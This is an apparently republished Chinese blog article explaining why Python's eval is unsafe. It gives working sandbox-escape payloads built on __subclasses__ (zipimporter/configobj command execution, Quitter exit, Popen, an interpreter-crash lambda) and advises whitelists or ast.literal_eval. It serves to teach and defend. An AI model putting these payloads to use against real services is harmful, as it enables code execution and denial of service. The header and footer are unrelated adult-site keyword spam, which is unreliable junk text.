精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Python中eval帶來的潛在風(fēng)險(xiǎn)

開發(fā) 后端
從內(nèi)容我們可以看出,單單將內(nèi)置模塊置為空,是不夠的,最好的機(jī)制是構(gòu)造白名單,如果覺得比較麻煩,可以使用ast.literal_eval代替不安全的eval。

0x00 前言


eval是Python用于執(zhí)行python表達(dá)式的一個(gè)內(nèi)置函數(shù),使用eval,可以很方便的將字符串動(dòng)態(tài)執(zhí)行。比如下列代碼:

1

2

3

4

>>> eval("1+2")

3

>>> eval("[x for x in range(10)]")

[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

當(dāng)內(nèi)存中的內(nèi)置模塊含有os的話,eval同樣可以做到命令執(zhí)行:

1

2

3

4

>>> import os

>>> eval("os.system('whoami')")

win-20140812chj\administrator

0

當(dāng)然,eval只能執(zhí)行Python的表達(dá)式類型的代碼,不能直接用它進(jìn)行import操作,但exec可以。如果非要使用eval進(jìn)行import,則使用__import__

1

2

3

4

5

6

7

8

9

10

11

>>> exec('import os')

>>> eval('import os')

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1

    import os

         ^

SyntaxError: invalid syntax

>>> eval("__import__('os').system('whoami')")

win-20140812chj\administrator

0

在實(shí)際的代碼中,往往有使用客戶端數(shù)據(jù)帶入eval中執(zhí)行的需求。比如動(dòng)態(tài)模塊的引入,舉個(gè)栗子,一個(gè)在線爬蟲平臺(tái)上爬蟲可能有多個(gè)并且位于不同的 模塊中,服務(wù)器端但往往只需要調(diào)用用戶在客戶端選擇的爬蟲類型,并通過后端的exec或者eval進(jìn)行動(dòng)態(tài)調(diào)用,后端編碼實(shí)現(xiàn)非常方便。但如果對(duì)用戶的請(qǐng) 求處理不恰當(dāng),就會(huì)造成嚴(yán)重的安全漏洞。

0x01 “安全”使用eval


現(xiàn)在提倡最多的就是使用eval的后兩個(gè)參數(shù)來設(shè)置函數(shù)的白名單:

Eval函數(shù)的聲明為eval(expression[, globals[, locals]])

其中,第二三個(gè)參數(shù)分別指定能夠在eval中使用的函數(shù)等,如果不指定,默認(rèn)為globals()和locals()函數(shù)中 包含的模塊和函數(shù)。

1

2

3

4

5

6

7

8

9

10

11

>>> import os

>>> 'os' in globals()

True

>>> eval('os.system(\'whoami\')')

win-20140812chj\administrator

0

>>> eval('os.system(\'whoami\')',{},{})

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1, in <module>

NameError: name 'os' is not defined

如果指定只允許調(diào)用abs函數(shù),可以使用下面的寫法:

1

2

3

4

5

6

7

8

9

10

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})

20

>>> eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1, in <module>

NameError: name 'os' is not defined

>>> eval('os.system(\'whoami\')')

win-20140812chj\administrator

0

使用這種方法來防護(hù),確實(shí)可以起到一定的作用,但是,這種處理方法可能會(huì)被繞過,從而造成其他問題!

0x02 繞過執(zhí)行代碼1


被繞過的情景如下,小明知道了eval會(huì)帶來一定的安全風(fēng)險(xiǎn),所以使用如下的手段去防止eval執(zhí)行任意代碼:

1

2

3

4

5

6

7

8

env = {}

env["locals"]   = None

env["globals"= None

env["__name__"] = None

env["__file__"] = None

env["__builtins__"] = None

 

eval(users_str, env)

Python中的__builtins__是內(nèi)置模塊,用來設(shè)置內(nèi)置函數(shù)的模塊。比如熟悉的abs,open等內(nèi)置函數(shù),都是在該模塊中以字典的方式存儲(chǔ)的,下面兩種寫法是等價(jià)的:

1

2

3

4

>>> __builtins__.abs(-20)

20

>>> abs(-20)

20

我們也可以自定義內(nèi)置函數(shù),并像使用Python中的內(nèi)置函數(shù)一樣使用它們:

1

2

3

4

5

>>> def hello():

...     print 'shabi'

>>> __builtin__.__dict__['say_hello'] = hello

>>> say_hello()

shabi

小明將eval函數(shù)的作用域中的內(nèi)置模塊設(shè)置為None,好像看起來很徹底了,但依然可以被繞過。__builtins____builtin__的一個(gè)引用,在__main__模塊下,兩者是等價(jià)的:

1

2

3

4

>>> id(__builtins__)

3549136

>>> id(__builtin__)

3549136

根據(jù)烏云drops提到的方法,使用如下代碼即可:

1

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

上面的代碼首先利用__class____subclasses__動(dòng)態(tài)加載了object對(duì) 象,這是因?yàn)閑val中無法直接使用object。然后使用object的子類的zipimporter對(duì)egg壓縮文件中的configobj模塊進(jìn)行 導(dǎo)入,并調(diào)用其內(nèi)置模塊中的os模塊從而實(shí)現(xiàn)命令執(zhí)行,當(dāng)然,前提是要有configobj的egg文件。 configobj模塊很有意思,居然內(nèi)置了os模塊:

1

2

3

4

5

6

7

8

9

10

11

>>> "os" in configobj.__dict__

True

>>> import urllib

>>> "os" in urllib.__dict__

True

>>> import urllib2

>>> "os" in urllib2.__dict__

True

>>> configobj.os.system("whoami")

win-20140812chj\administrator

0

和configobj類似的模塊如urlliburllib2setuptools等都有os的內(nèi)置,理論上使用哪個(gè)都行。 如果無法下載egg壓縮文件,可以下載帶有setup.py的文件夾,加入:

1

from setuptools import setup, find_packages 

然后執(zhí)行:

1

python setup.py bdist_egg

就可以在dist文件夾中找到對(duì)應(yīng)的egg文件。 繞過demo如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

>>> env = {}

>>> env["locals"]   = None

>>> env["globals"= None

>>> env["__name__"] = None

>>> env["__file__"] = None

>>> env["__builtins__"] = None

>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"

>>> eval(users_str, env)

win-20140812chj\administrator

0

>>> eval(users_str, {}, {})

win-20140812chj\administrator

0

0x03 拒絕服務(wù)攻擊1


object的子類中有很多有趣的東西,執(zhí)行以下代碼查看:

1

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

這里我就不輸出結(jié)果了,如果你執(zhí)行的話,可以看到很多有趣的模塊,比如file,zipimporter,Quitter等。經(jīng)過測(cè)試,file的構(gòu)造函數(shù)是被解釋器沙箱隔離的。 簡(jiǎn)單的,或者直接使object暴露出的子類Quitter進(jìn)行退出:

1

2

3

4

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__

 == 'Quitter'][0](0)()", {'__builtins__':None})

 

C:/>

如果運(yùn)氣好,遇到對(duì)方程序中導(dǎo)入了os等敏感模塊,那么Popen就可以用,并且繞過__builins__為空的限制,栗子如下:

1

2

3

4

5

6

7

8

9

10

11

>>> import subprocess

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})

<subprocess.Popen object at 0x0324FF70>

>>>

正在 Ping 127.0.0.1 具有 32 字節(jié)的數(shù)據(jù):

來自 127.0.0.1 的回復(fù): 字節(jié)=32 時(shí)間<1ms TTL=64

127.0.0.1 的 Ping 統(tǒng)計(jì)信息:

    數(shù)據(jù)包: 已發(fā)送 = 1,已接收 = 1,丟失 = 0 (0% 丟失),

往返行程的估計(jì)時(shí)間(以毫秒為單位):

    最短 = 0ms,最長(zhǎng) = 0ms,平均 = 0ms

>>>

事實(shí)上,這種情況非常多,比如導(dǎo)入os模塊,一般用來處理路徑問題。所以說,遇到這種情況,完全可以列舉大量的功能函數(shù),來探測(cè)目標(biāo)object的子類中是否含有一些危險(xiǎn)的函數(shù)可以直接使用。

0x04 拒絕服務(wù)攻擊2


同樣,我們甚至可以繞過__builtins__為None,造成一次拒絕服務(wù)攻擊,Payload(來自老外blog)如下:

1

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

運(yùn)行上面的代碼,Python直接crash掉了,造成拒絕服務(wù)攻擊。 原理是通過嵌套的lambda來構(gòu)造一片代碼段,即code對(duì)象。為這個(gè)code對(duì)象分配空的棧,并給出相應(yīng)的代碼字符串,這里是KABOOM,在空棧上執(zhí)行代碼,會(huì)出現(xiàn)crash。構(gòu)造完成后,調(diào)用fc函數(shù)即可觸發(fā),其思路不可謂不淫蕩。

0x05 總結(jié)


從上面的內(nèi)容我們可以看出,單單將內(nèi)置模塊置為空,是不夠的,最好的機(jī)制是構(gòu)造白名單,如果覺得比較麻煩,可以使用ast.literal_eval代替不安全的eval

參考資料:

【1】http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

【2】http://drops.wooyun.org/web/7490

【3】http://stackoverflow.com/questions/3513292/python-make-eval-safe

責(zé)任編輯:王雪燕 來源: 隱形人真忙
相關(guān)推薦

2015-09-17 09:30:50

云架構(gòu)可伸縮性風(fēng)險(xiǎn)

2019-12-20 13:51:30

加密劫持網(wǎng)絡(luò)攻擊漏洞

2023-06-09 07:11:56

2020-03-02 08:25:38

免費(fèi)開源軟件FOSS軟件安全

2024-04-25 08:22:43

AndroidlargeHeap屬性

2022-02-18 16:23:45

元宇宙元宇宙治理問題

2018-03-08 09:57:15

2014-08-20 10:07:02

2025-05-20 06:42:37

2021-12-31 16:10:46

穩(wěn)定幣數(shù)字貨幣貨幣

2015-02-28 15:22:15

2023-03-28 10:13:04

2021-03-22 16:55:14

Java程序員內(nèi)存

2013-07-16 09:15:29

2022-08-01 16:43:07

機(jī)器身份網(wǎng)絡(luò)安全自動(dòng)化

2015-01-15 09:38:30

2010-10-26 09:35:09

2017-11-06 11:15:51

智能機(jī)器人工智能機(jī)器學(xué)習(xí)

2024-05-08 08:00:00

2021-03-17 10:09:26

IT高管數(shù)字化轉(zhuǎn)型數(shù)字化
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

欧美二三四区| 亚洲自拍偷拍福利| 欧美日韩一区二区三区在线视频 | 555www色欧美视频| 蜜桃成人免费视频| 欧美成人精品欧美一级私黄| 天天综合天天色| 日韩在线观看电影完整版高清免费悬疑悬疑| 亚洲色图欧洲色图| 国产精品毛片a∨一区二区三区|国| 东京热av一区| 超免费在线视频| 99久久www免费| 色婷婷精品大视频在线蜜桃视频 | 精品国产www| 欧美三级午夜理伦三级在线观看 | 激情丁香综合五月| 亚洲天堂av电影| 精品视频免费在线播放| 亚洲国产精品成人久久蜜臀| 综合久久亚洲| 日韩三级电影网址| 男同互操gay射视频在线看| 波多野结衣在线观看视频| 国产精品一区二区中文字幕| 一区二区三区日韩欧美精品| 成人黄色片网站| 阿v天堂2014| 国产精品亚洲d| 国产免费久久精品| 日韩av电影手机在线观看| 97人妻天天摸天天爽天天| 国产高清视频色在线www| 成人在线综合网| 欧美激情视频三区| 欧美一级片黄色| 乡村艳史在线观看| 国产无一区二区| 国产精品美女无圣光视频| 欧美一级高潮片| 日韩啪啪网站| 欧美亚洲愉拍一区二区| 亚洲欧美精品| 国产情侣一区二区| 亚洲天堂偷拍| 亚洲а∨天堂久久精品9966| 极品美女扒开粉嫩小泬| 欧美色图天堂| 久久综合网色—综合色88| 日韩美女主播视频| 日韩成人一区二区三区| 欧美人与牛zoz0性行为| 欧美日韩mp4| 欧美a级免费视频| 亚洲av成人无码久久精品老人| 久久亚洲不卡| 神马久久桃色视频| 美女又黄又免费的视频| 亚洲色图官网| 岛国精品视频在线播放| 在线观看国产一区| 免费看黄网站在线观看| 日韩不卡一二三区| 欧美黄色性视频| 九九热视频精品| 亚洲人成伊人成综合图片| 欧美美女一区二区在线观看| 97超碰在线人人| av影片在线看| 高潮精品一区videoshd| 国产精品69久久久久| 中文字幕亚洲欧美日韩| 色婷婷av一区二区三区丝袜美腿| 精品久久久久久久久久久久久久久久久| 欧美日韩在线一| 日本电影全部在线观看网站视频| 成人教育av在线| 国产精品亚洲一区二区三区| 国产网站在线看| 99精品欧美| 美女福利精品视频| 白白色免费视频| 18国产精品| 欧美日韩在线亚洲一区蜜芽| 一区二区传媒有限公司| 粉嫩一区二区| 亚洲国产一区二区三区 | 日韩爱爱小视频| aa级大片免费在线观看| 国产精品欧美久久久久无广告| 成人免费视频网站入口| 中文字幕在线观看第二页| 欧美区国产区| 日韩中文字幕视频在线观看| 极品人妻一区二区三区| xvideos.蜜桃一区二区| 在线播放日韩导航| 少妇精品无码一区二区| 91国产一区| 欧美私人免费视频| 在线观看视频你懂得| 精品美女一区| 欧美日韩在线一区二区| 中文字幕乱码在线人视频| 久久久久久毛片免费看| 欧美va亚洲va| 日本激情小视频| 日韩高清电影免费| 中文字幕日韩av| a天堂中文字幕| 欧美在线精品一区| 欧美伦理91i| 午夜免费激情视频| 视频一区视频二区中文字幕| 91免费在线观看网站| 国产麻豆91视频| 92国产精品观看| 欧美极品色图| 91麻豆免费在线视频| 亚洲激情网站免费观看| 国产亚洲精品网站| 三上悠亚国产精品一区二区三区| 91精品国产欧美一区二区| 欧美在线a视频| а天堂中文最新一区二区三区| 日韩av影片在线观看| 男女黄床上色视频| 狠狠88综合久久久久综合网| 国产精品一区二区久久| 视频国产在线观看| 国产日韩欧美精品在线| 久久久久99精品成人片| 一级欧美视频| 亚洲美女久久久| 亚洲av熟女国产一区二区性色| 国产真实久久| 久久综合九色综合久久久精品综合 | 精品国产一区二区三区| 日韩欧美不卡一区| japan高清日本乱xxxxx| 国产精品三级| 中文字幕不卡av| 亚洲精品中文字幕乱码三区91| 国产精品日韩久久久| 欧美孕妇与黑人孕交| 中文字幕视频网| 青青草一区二区三区| 国产日韩av在线| www.爱爱.com| 97精品视频在线观看自产线路二| 白白操在线视频| 国产在线视频欧美一区| 精品国产污网站| 麻豆亚洲av熟女国产一区二| 国产精品综合一区二区| 久久久久久高清| 午夜激情视频在线观看| 一区二区三区丝袜| 女教师高潮黄又色视频| 午夜精品免费| 国产精品成人观看视频免费| 手机在线免费观看av| 懂色aⅴ精品一区二区三区蜜月| 好吊操视频这里只有精品| 欧美激情1区| 不卡一卡2卡3卡4卡精品在| 欧美女优在线观看| 中文字幕在线视频一区| 夜夜添无码一区二区三区| av成人在线观看| 91精品国产综合久久香蕉的特点| 永久免费看片视频教学| 最新成人av网站| 国产美女精品视频免费观看| 日韩大片在线永久免费观看网站| 91麻豆精品国产91久久久更新时间| 欧美做爰啪啪xxxⅹ性| 免费永久网站黄欧美| 91日本视频在线| 国产人成在线观看| 亚洲a一区二区| 亚洲免费成人在线视频| 亚洲三级性片| 国产精品久久久久久久9999| 欧美一区二区三区黄片| 欧美日韩亚洲精品一区二区三区 | 欧美极品xxx| 亚洲自拍第三页| 99精品国产在热久久| 手机成人在线| 亚洲伊人av| 这里只有精品视频| 高h震动喷水双性1v1| 中文字幕亚洲电影| 91人人澡人人爽人人精品| 影音先锋日韩精品| 久久大片网站| 北岛玲精品视频在线观看| 2018国产精品视频| 熟妇高潮一区二区高潮| 在线影院国内精品| 99久久人妻无码精品系列| 激情综合色播五月| 91视频 -- 69xx| 91精品啪在线观看国产18| 国产精品网站视频| 超碰在线网站| 三级精品视频久久久久| 搡老岳熟女国产熟妇| 欧美日韩精品欧美日韩精品一 | 扒开伸进免费视频| 六月婷婷色综合| 日韩欧美激情一区二区| 中日韩脚交footjobhd| 久久久精品国产网站| 一区二区日韩视频| 国产精品的网站| 日韩aaaaa| 西西人体一区二区| 国产精品igao激情视频| 国产真实有声精品录音| 国产乱码一区| 夜鲁夜鲁夜鲁视频在线播放| 欧美老肥婆性猛交视频| 337p日本欧洲亚洲大胆鲁鲁| 亚洲欧美日韩视频一区| 免费观看国产精品| 欧美一区二区三区日韩| 中文字幕av久久爽| 色菇凉天天综合网| jizz日本在线播放| 激情图区综合网| 九九热免费精品视频| 色喇叭免费久久综合| 蜜桃av久久久亚洲精品| 国产精品videossex| 91青青草免费在线看| 青青在线精品| 久久99精品国产99久久6尤物| 成年人在线观看网站| 欧美二区在线观看| 中文字幕日韩三级| 欧美网站大全在线观看| 免费av中文字幕| 一本久久a久久精品亚洲| 西西44rtwww国产精品| 国产精品午夜在线观看| 美女又黄又免费的视频| 国产在线国偷精品产拍免费yy| 日韩黄色片在线| 亚洲精品一级二级三级| 精品久久sese| 日韩国产一二三区| 91精品国产自产在线| 亚洲伊人精品酒店| 亚洲伊人第一页| 美女久久精品| 日本精品视频网站| 三上悠亚亚洲一区| 国产福利精品av综合导导航| 在线成人视屏 | 国产精品无码一区| 欧美日韩一级视频| 国产三级漂亮女教师| 日韩久久精品一区| 人妻一区二区三区四区| 亚洲精品日韩在线| 一级特黄特色的免费大片视频| 欧美日韩视频在线观看一区二区三区| 亚洲天堂男人网| 欧美日韩一区二区在线播放| 免费在线观看黄网站| 最好看的中文字幕久久| 麻豆changesxxx国产| 午夜精品爽啪视频| 国产精品第六页| 91精品国产综合久久精品图片| 亚洲国产视频一区二区三区| 精品夜色国产国偷在线| 中文字幕在线观看日本| 欧美成人免费va影院高清| 国产中文在线播放| 国产精品福利在线观看| 激情综合婷婷| 久久久久高清| 99久久婷婷这里只有精品| 成人免费在线网| 蜜桃视频在线一区| 日韩精品一区二区三区不卡 | 欧美日韩一道本| 三级欧美在线一区| 中文字幕1234区| 91视视频在线观看入口直接观看www | 欧美13一16娇小xxxx| 欧美激情区在线播放| 四虎4545www国产精品| 不卡日韩av| 久久国产综合| 精品无码久久久久国产| 日本久久黄色| 日本一区二区三区免费观看| 日韩大片在线免费观看| 一区二区在线高清视频| 亚洲麻豆av| 亚洲欧美一区二区三区不卡| 久久免费电影网| 久久久精品视频在线| 一区二区三区在线播放| 久久精品视频2| 精品福利一区二区三区 | 欧美理论片在线观看| 欧美电影网站| 精品国产日本| 欧美日韩1区| 88av.com| 日韩精品久久久久久| 国产精品果冻传媒| 不卡av在线免费观看| 欧美一级特黄高清视频| 色欧美日韩亚洲| 亚洲狼人综合网| 精品久久久av| 成人看片毛片免费播放器| 精品一区二区国产| 在线播放亚洲| 日韩av在线综合| 蜜臀av性久久久久蜜臀aⅴ四虎| 中文字幕一区二区三区乱码不卡| 亚洲乱码中文字幕| 青娱乐国产在线视频| 欧美性猛片aaaaaaa做受| 天天干免费视频| 欧美激情一区二区三区成人| 深夜在线视频| 国产精品久久久久久久久久99 | 都市激情国产精品| 99影视tv| 国产精品a久久久久| 在线观看免费视频污| 日韩毛片高清在线播放| 在线观看xxxx| 最近2019年好看中文字幕视频| 成人在线爆射| 成人性生交xxxxx网站| 日本a口亚洲| www.激情小说.com| 亚洲国产精品ⅴa在线观看| 999视频在线| 日韩一区二区三区四区| 91福利在线视频| 国产欧美精品日韩| 国产精品久久久久9999赢消| 99re精彩视频| 不卡的看片网站| 国产精品16p| 亚洲а∨天堂久久精品9966| bl在线肉h视频大尺度| 精品一区2区三区| 免费一区视频| 四虎国产成人精品免费一女五男| 欧美色视频一区| 黄色在线免费| 国产99久久精品一区二区 夜夜躁日日躁 | 欧美久久久久久久久久久| 精品国产福利在线| 一区二区三区播放| 伦理中文字幕亚洲| 视频一区在线免费看| 视频一区二区综合| 麻豆成人综合网| 激情五月少妇a| 精品一区二区三区四区| 日韩毛片在线| 91麻豆天美传媒在线| 成人h动漫精品一区二| 天天综合天天干| 这里只有精品在线播放| 欧一区二区三区| 亚洲最大免费| 久久精品国语| 亚洲天堂美女视频| 日韩人在线观看| 888av在线| 国产精品久久久久久久久久直播| 亚洲自啪免费| 国产精品国产精品88| 亚洲黄色有码视频| 调教一区二区| 久久综合狠狠综合久久综青草| 奇米影视在线99精品| 九九免费精品视频| 亚洲色图35p| 亚洲国产中文在线二区三区免| 阿v天堂2017| 最新日韩av在线| 青青青草网站免费视频在线观看| 欧美—级高清免费播放| 自拍偷拍精品| 99免费观看视频| 欧美羞羞免费网站|